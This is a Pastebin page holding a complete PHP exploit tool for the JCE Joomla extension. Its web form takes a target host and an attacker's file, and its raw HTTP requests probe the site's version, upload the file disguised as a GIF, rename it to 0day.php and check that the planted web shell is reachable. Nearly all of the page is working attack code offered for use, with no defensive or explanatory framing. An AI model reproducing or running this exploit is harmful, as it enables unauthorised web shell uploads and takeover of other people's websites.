Advertisement
lastc0de

jce

Jul 27th, 2013
849
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.55 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. ini_set("max_execution_time",0);
  5. ini_set("default_socket_timeout", 2);
  6. ob_implicit_flush (1);
  7.  
  8. echo'<html>
  9. <head>
  10. <title>JCE Joomla Extension Remote File Upload</title>
  11. </head>
  12.  
  13. <body bgcolor="#00000">
  14.  
  15. <p align="center"><font size="4" color="#00ff00">JCE Joomla Extension Remote File Upload</font></p>
  16. </font>
  17. <table width="90%">
  18. <tbody>
  19. <tr>
  20. <td width="43%" align="left">
  21. <form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data" method="post">
  22. <p></font><font color="#00ff00" > hostname (ex:www.sitename.com): </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
  23. <p></font><font color="#00ff00" > path (ex: /joomla/ or just / ): </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
  24. <p></font><font color="#00ff00" >Please specify a file to upload: </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
  25. <p><font color="#00ff00" > specify a port (default is 80): </font><input name="port" size="20"><span class="Stile5"></span></p>
  26. <p><font color="#00ff00" > Proxy (ip:port): </font><input name="proxy" size="20"><span class="Stile5"></span></p>
  27. <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
  28. <p><input type="submit" value="Start" name="Submit"></p>
  29. </form>
  30. </td>
  31. </tr>
  32. </tbody>
  33. </table>
  34. </body></html>';
  35.  
  36. function sendpacket($packet,$response = 0,$output = 0,$s=0)
  37. {
  38. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  39. global $proxy, $host, $port, $html, $user, $pass;
  40. if ($proxy == '')
  41. {
  42. $ock = fsockopen($host,$port);
  43. stream_set_timeout($ock, 5);
  44. if (!$ock)
  45. {
  46. echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
  47. die;
  48. }
  49. } else
  50. {
  51. $parts = explode(':',$proxy);
  52. echo '<font color=white>Connecting to proxy: '.$parts[0].':'.$parts[1].' ...<br><br/></font>';
  53. $ock = fsockopen($parts[0],$parts[1]);
  54. stream_set_timeout($ock, 5);
  55. if (!$ock)
  56. {
  57. echo '<font color=white>No response from proxy...<br></font>';
  58. die;
  59. }
  60. }
  61.  
  62. fputs($ock,$packet);
  63. if ($response == 1)
  64. {
  65. if ($proxy == '')
  66. {
  67. $html = '';
  68. while (!feof($ock))
  69. {
  70. $html .= fgets($ock);
  71. }
  72. } else
  73. {
  74. $html = '';
  75. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
  76. {
  77. $html .= fread($ock,1);
  78. }
  79. }
  80. } else $html = '';
  81.  
  82. fclose($ock);
  83. if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
  84. if ($s==1){
  85. $count=0;
  86. $res=nl2br(htmlentities($html));
  87. $str = array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');
  88. foreach ($str as $value){
  89. $pos = strpos($res, $value);
  90. if ($pos === false) {
  91. $count=$count++;
  92. } else {
  93. echo "<font color=white>Target patched.<br/><br/></font>";
  94. die();
  95. }
  96. }
  97. if ($count=10) echo '<font color=white>Target is exploitable.<br/><br/></font>';
  98. }
  99. }
  100.  
  101. $host = $_POST['host'];
  102. $path = $_POST['path'];
  103. $port = $_POST['port'];
  104. $proxy = $_POST['proxy'];
  105.  
  106. if (isset($_POST['Submit']) && $host != '' && $path != '')
  107. {
  108.  
  109. $port=intval(trim($port));
  110. if ($port=='') {$port=80;}
  111. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
  112. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  113. $host=str_replace("\r\n","",$host);
  114. $path=str_replace("\r\n","",$path);
  115.  
  116.  
  117. /* Packet 1 --> Checking Exploitability */
  118. $packet = "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
  119. $packet .= "Host: ".$host."\r\n";
  120. $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
  121.  
  122. sendpacket($packet,1,0,1);
  123.  
  124. /* Packet 2 --> Uploading shell as a gif file */
  125.  
  126. $content = "GIF89a1\n";
  127. $content .= file_get_contents($_FILES['datafile']['tmp_name']);
  128. $data = "-----------------------------41184676334\r\n";
  129. $data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
  130. $data .= "/\r\n";
  131. $data .= "-----------------------------41184676334\r\n";
  132. $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";
  133. $data .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
  134. $data .= "-----------------------------41184676334\r\n";
  135. $data .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";
  136. $data .= "0\r\n";
  137. $data .= "-----------------------------41184676334\r\n";
  138. $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";
  139. $data .= "Content-Type: image/gif\r\n\r\n";
  140. $data .= "$content\r\n";
  141. $data .= "-----------------------------41184676334\r\n";
  142. $data .= "0day\r\n";
  143. $data .= "-----------------------------41184676334\r\n";
  144. $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
  145. $data .= "upload\r\n";
  146. $data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
  147. $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n";
  148. $packet .= "Host: ".$host."\r\n";
  149. $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
  150. $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
  151. $packet .= "Accept-Language: en-us,en;q=0.5\r\n";
  152. $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
  153. $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
  154. $packet .= "Connection: Close\r\n";
  155. $packet .= "Proxy-Connection: close\r\n";
  156. $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
  157. $packet .= $data;
  158.  
  159. sendpacket($packet,0,0,0);
  160.  
  161. /* Packet 3 --> Change Extension from .gif to .php */
  162.  
  163.  
  164. $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
  165. $packet .= "Host: ".$host."\r\n";
  166. $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
  167. $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  168. $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
  169. $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
  170. $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
  171. $packet .= "Accept-Encoding: deflate\n";
  172. $packet .= "X-Request: JSON\r\n";
  173. $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
  174. $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
  175. $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
  176. $packet .= $ren."\r\n\r\n";
  177.  
  178. sendpacket($packet,1,0,0);
  179.  
  180. /* Packet 4 --> Check for successfully uploaded */
  181.  
  182.  
  183. $packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
  184. $packet .= "Host: ".$host."\r\n";
  185. $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
  186.  
  187. sendpacket($packet,1,0,0);
  188.  
  189. if(stristr($html , '200 OK') != true)
  190. {echo "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
  191. }
  192. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement